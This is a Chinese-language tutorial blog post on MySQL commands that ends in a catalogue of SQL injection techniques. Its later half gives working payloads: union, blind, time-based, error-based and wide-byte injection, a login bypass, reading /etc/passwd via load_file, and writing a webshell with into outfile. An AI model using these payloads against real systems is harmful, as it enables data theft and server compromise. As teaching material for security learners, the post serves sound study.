Web安全

Mysql数据库学习

Posted on 2020-01-02,12 min read

数据库类型
数据库类型有关系型数据库和非关系型数据库

1.关系型数据库

采用了关系模型来组织数据的数据库,用行和列来储存属于,方便用户理解,行和列组成表,一个或多个表组成数据库。用户通过sql语句来查询数据。
优点:容易理解,sql语句操作方便,易于维护,能进行复杂查询
缺点:高并发的时候,硬盘遭不住。如果查询大量数据,效率很低,固定的表结构,灵活度稍欠
常见的关系型数据库有:Oracle,DB2,Mysql,Mssql,access

2.非关系型数据库

非关系型数据库严格上不是一种数据库,应该是一种数据结构化存储方法的集合,可以是文档或者键值对等。以键值对储存,结构不固定,每一个元组可以有不一样的字段,每个元组可以根据需要增加键值对。
优点:格式灵活,可以是key,value、文档格式、图片形式等,使用灵活
      速度快,高扩展,成本低,部署简单
缺点:不支持sql语句,学习和使用成本高,没有事务处理,适合储存简单数据,对于复杂查询的数据。略显乏力

Mysql数据库
安装Mysql数据库在这就不讲了。搜索引擎上多的是
首先看看mysql的命令

登陆Mysql
mysql -h 192.168.47.134 -u root -proot
#连接192.168.47.134的Mysql,用户root,密码root
#-h 要连接的主机       192.168.47.134
#-u 登陆的用户名       root 
#-p 用户名的密码       root
#如果登陆本地的Mysql,可以不指定-h
tips:Mysql语句结束要加个;号,表示语句结束,不然就会一直连接下去
Mysql设置密码:
set password=password('新密码');
#对当前登陆用户设置密码
set password for 用户名@地址=password('新密码');
#指定用户设置密码
#此实验中。为了方便,就改了弱口令。生产环境中。务必使用强口令
忘记密码:
启动Mysql服务时,加参数启动
mysqld_safe --skip-grant-tables --skip-networking
--skip-grant-tables 跳过密码验证
--skip-networking   禁止对外开放服务(关闭TCP/IP连接,只允许本地)
查看数据库:
show databases;
#有三个数据库,information_schema,mysql,test


information_schema数据库是信息数据库,注意,这个数据库只有5.0版本以上有,保存着Mysql服务器所有其他数据库的信息,如数据库名,数据库内的表,表内的字段类型,权限,等等
在Sql注入中,可以利用这个表,来获取数据库中有哪些数据库,表,表内字段,值
常用表:

character_sets,提供Mysql字符集信息
schemata,提供所有数据库名
tables,提供所有表名
columns,提供所有字段
user_privileges,提供用户权限信息
schema_privileges,提供数据库权限信息


Mysql数据库是mysql的核心数据库,类似于mssql的master表,负责存储数据库用户名密码、权限设置、等信息

创建数据库:
create database 数据库名;
删除数据库:
drop database 数据库名;
查看数据库内的表(首先要选择一个数据库,才能查看里面的表)
选择数据库:
use 数据库名;
查看表:
show tables;
查看表内数据:
select * from 表名;
select * from 表名 limit 0,1
limit 语句是控制返回行数的,当查询返回数据量过多,就可以用limit语句来控制返回几行,比如limit 0,1返回第一行,limit 1,1,返回第二行
在sql注入中,有时只返回一行数据,那就可以用limit来一行行输出
创建表:
create table aaa(id int(5) primary key auto_increment,name varchar(10) not null ,sex varchar(20) not null);
创建aaa表,包含三个字段名称,id、name、sex,id 值为数字类型(最大5个字节),自增长,name值为字符型(最大10个字节) 不能为空,sex值为字符型(最大10个字节) 不能为空
desc 表名;
用来看数据表结构
删除表:
drop table 表名;
插入数据:
insert into 表名 (字段) values(对应字段的值)
insert into 	 (id,name,sex) values(1,'test','shaoxing')
删除数据:
delete from 表名
删除表中所有数据
delete from 表名where name='test';
删除XX表中名字为test的数据	
where用来做过滤(一个表中有多条数据,用where语句来过滤其他数据)
更新数据:
有时候不要删除数据,表中某个字段的值需要改变
update 表名 set 字段='某个内容'					将某个字段内的所有数据全部更改
update 表名 set 字段='某个内容' where name='某个内容';		更改符合条件的数据
刷新权限:
flush privileges;
当更改了配置时,需要刷新下权限,才会生效
创建mysql用户:
可以用insert into语句向mysql.user表内插入新的用户信息
create user '用户名'@'username的地点' identified by '密码'
查看用户:
可以用select 语句查看
select host,user from user;
删除用户:
delete from user where user='用户名';
drop user '用户名'@'登陆地点'
授权用户:
给新建的用户授予数据库操作权限
grant 权限 on 数据库.数据表 to '用户名'@'登陆地点' identified by '密码';
删除权限:
revoke 权限 on 数据库.数据包 from '用户'@'登陆地点';
查看权限:
show grants;		查看当前用户权限
show grants for 'web'@'localhost';	查看web这个用户的权限
flush privileges;       刷新权限
insert  增加表纪录的权限
update  修改表纪录的权限
select  查询表纪录的全信啊
drop    删除权限
delete  删除表的权限
create  创建权限
。。。
备份数据表
select * from 数据表名 into outfile '路径';
#路径必须有可写权限
load data local infile '路径' into table 表名;
#报错the Used command is not allowed with this Mysql version
set global local_infile='ON'
#启用模块即可
备份数据库;
mysqldump -u 用户名 -p密码 数据库名>路径
还原数据库
mysql -u 用户名 -p密码 </tmp/mysql.sql


Mysql常用函数/sql语句
version(),database(),@@datadir,@@version_compile_os,user()
#数据库版本,当前数据库名,数据库路径,操作系统版本,当前数据库用户

Mysql注释符后的字符,将被忽略

--空格
#
/**/


内联sql
/!select version()/
#里面的sql语句将被执行


hex('123')
#转换为十六进制

union select 1,2,version()
#联合查询,这个在sql注入中经常会使用,字段数要和前一个查询一样

load_file('/etc/passwd')
#读取文件,权限够大,读取任意文件,可用来读取敏感文件获取信息

length('123')
#返回字符串长度,3

sleep(3)
#延时三秒钟

if(判断,True执行的语句,False执行的语句)
if(length(database())>3,sleep(4),1);
#判断数据库名长度是否大于3,大于三就延时4秒,否则返回1

and &&
#逻辑运算,和,条件都满足,select * from aaa where id=1 && 1=1
#select * from aaa where id=1,返回True,并且1=1返回True,True and True,正常返回
#常用在判断是否存在sql注入,1=1只是为了让它返回True,2+1=4-1同样可以
#bypass安全狗,and 1=1就可以利用这个原理绕过


or ||
#逻辑运算,或,条件满足其中一个就行,select * from aaa where id=0 || 1=1
#select password from user where username=0 or 1=1,会返回所有数据
#mysql_fetch_assoc($sql)!=0.即可绕过


substr('123',1,1)
substring('123',1,1)
mid('123',1,1)
#截取字符串,返回123字符串中第一位开始,截取一位
#substr被过滤,就可以用substring 函数

ascii('A')
ord('A')
#返回A的ascii码。常见于sql盲注

concat(0x7e,(select version()),0x7e);
group_concat(0x7e,(select version()),0x7e);
#字符串连接

updatexml(xml对象名称,要xpath格式化的字符串,替换的值)
#updatexml(1,concat(0x7e,(select version()),0x7e),1)
#由于中间查询出来的5.1.71-log不能转化为xpath字符串,就会报错,这种sql注入类型是报错注入

extractvalue(xml文档,xml路径)
#extractvalue(1,concat(0x7e,(select version()),0x7e))
#报错注入

limit 0,1
#数据太多,自定返回数据量,limit 0,1 返回查询结果的第一行,limit 1,1返回查询结果第二行

select '' into outfile '/var/www/html/1.php';
#导出''为文件1.php,可以导出一句话木马,导出目录要有写权限

文末总结下sql注入的几种方式
sql注入的本质,是用户输入的恶意代码和sql语句拼接执行

union注入:
select * from aaa where id=1 and union select 1,2,database();

盲注:
select * from aaa where id=1 and substr((select database()),1,1)=a
#截取当前数据库名第一位判断是否为a,由于前面的查询返回值,True,后面的判断正确,那么True和True,就会返回正确,相反,如果后面if判断为False,既数据库名第一位不为a,那么True和False,返回False,不会返回数据

#以上是直接用字符去一个个匹配,下面用二分法匹配,将数据库名第一位字符,转换为ascii码
select * from aaa where id=1 and ascii(substr((select database()),1,1))>110
#返回True,加大ascii
select * from aaa where id=1 and ascii(substr((select database()),1,1))>120
#返回False,减小ascii码
select * from aaa where id=1 and ascii(substr((select database()),1,1))>115
#返回True,加大ascii,但不大于120
select * from aaa where id=1 and ascii(substr((select database()),1,1))>116
#返回False,115<值!<116,值==116,ascii解码一下,数据库第一位就是t

时间盲注:
同上面一样,只不过,用sleep函数来验证返回True还是False
select * from aaa where id=1 and if(ascii(substr((select database()),1,1))>115,sleep(2),1);
True,就会调用sleep(2),延时两秒,利用python,判断请求是否延时了两秒,来写脚本

报错注入:
利用xpath格式转换报错,得到数据
select * from aaa where id=1 and extractvalue(1,concat(0x7e,(select version()),0x7e));

limit注入:
注入点在limit语句,limit 关键字后面还有 PROCEDURE 和 INTO 关键字,into 关键字可以用来写文件,这里的重点是 PROCEDURE 关键字.MySQL默认可用的存储过程只有 ANALYSE (doc)。
select * from aaa limit 0,1 procedure analyse(updatexml(1,concat(0x7e,(select version()),0x7e),1),1);

二次注入:
用户输入'-->addslashes处理-->\'转义-->存入数据库-->123'-->再从数据库中读取-->select * from name='123''-->二次注入

反引号注入:
在一道CTF题中,
desc `secret_$name`,如果desc执行失败,就直接die()
然后$name带入sql语句执行,select 'flag{xxx}' from secret_{$name};
首先我们可以构造` `union select version(),闭合前面的反引号,剩下的一个反引号和后面闭合
然后带入SQL语句就变成了
select 'flag(xxx)' from secret_test` `union select version()#
成功在sql语句后面闭合了反引号,并且带入了我们的sql语句

宽字节注入:
注入原理,php编码为UTF-8,Mysql编码设置gbk,会引发编码转换从而导致注入,比如
输入%df'-->addslashes处理-->%df%5c%27-->GBK-->%df%5c%27=運%27,单引号就逃逸了,造成注入
select * from aaa where id='運' union select 1,2,version()#'

万能密码:
select * from user where username='' and password=''
select * from user where username='admin' or 1=1#' and password=''
#注释掉了条件password

这里只是列举了几种最常见的,关于sql注入还有很多骚操作和脑洞

下一篇: 首届360杯网络安全职业技能大赛 流量分析题(一)writeup→